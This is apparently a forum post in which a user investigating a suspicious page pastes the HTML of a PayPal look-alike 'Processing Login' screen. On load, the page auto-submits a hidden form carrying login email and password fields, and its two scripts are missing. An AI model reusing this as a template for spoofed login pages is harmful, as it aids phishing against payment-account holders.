here's the source code. the only things i can find that might give a clue are "pp_hotmail.js" and "pp_main.js" but those javascript files cant be downloaded
<META http-equiv=DESCRIPTION
content="PayPal lets you send money to anyone with email. PayPal is free for consumers and works seamlessly with your existing credit card and checking account. You can settle debts, borrow cash, divide bills or split expenses with friends all without going to an ATM or looking for your checkbook.">
<META http-equiv=KEYWORDS content="Send, money, payments, credit, credit card, instant, money, financial services, mobile, wireless, WAP, cell phones, two-way pagers, Windows CE"><LINK href="pp_styles.css" type=text/css rel=stylesheet>
<SCRIPT src="pp_main.js"></SCRIPT>
<SCRIPT src="pp_hotmail.js"></SCRIPT>
<LINK href="/images/pp_favicon.ico" rel="shortcut icon">
<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff language=javascript onload=login_form.submit()>
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center border=0>
<TBODY>
<TR vAlign=top>
<TD><A href="http://www.paypal.com/cgi-bin/webscr?cmd=_home"><IMG height=35
alt=PayPal src="paypal_logo.gif" width=109 border=0></A></TD>
<TD class=pptext align=right><A
href="https://www.paypal.com/cgi-bin/webscr?cmd=_registration-run"><B>Sign
Up</B></A> | <A href="https://www.paypal.com/cgi-bin/webscr?cmd=_login-run">Log
In</A> | <A href="http://www.paypal.com/cgi-bin/webscr?cmd=_help-ext">Help</A>
</TD></TR></TBODY></TABLE><IMG height=10 src="pixel.gif" width=10>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center bgColor=#336699
border=0>
<TBODY>
<TR>
<TD><IMG height=25 src="pixel.gif" width=1
border=0></TD></TR></TBODY></TABLE><IMG height=10 src="pixel.gif" width=1>
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center border=0>
<TBODY>
<TR>
<TD><IMG height=35 src="pixel.gif" width=1 border=0></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD align=right> </TD></TR>
<TR>
<TD vAlign=bottom align=middle><SPAN class=ppbigtext>
<B>Processing Login<IMG
height=12 src="period_ani.gif" width=20 align=baseline border=0></B></SPAN>
<SPAN class=pptext>
If this page appears for more than 5 seconds <A
href="https://www.paypal.com/cgi-bin/webscr?cmd=_login-done">click here to
reload.</A> </SPAN></TD></TR></TBODY></TABLE>
<FORM name=login_form action=https://www.paypal.com/cgi-bin/webscr?__track=_login-run

/gen/login:_login-submit method=post>
<INPUT type=hidden value=_login-submit name=cmd>
<INPUT type=hidden name=login_cmd>
<INPUT type=hidden name=login_params>
<INPUT type=hidden id=login_email name=login_email value="">
<INPUT type=hidden id=login_password maxLength=40 name=login_password value="">
</FORM>
</BODY>
</HTML>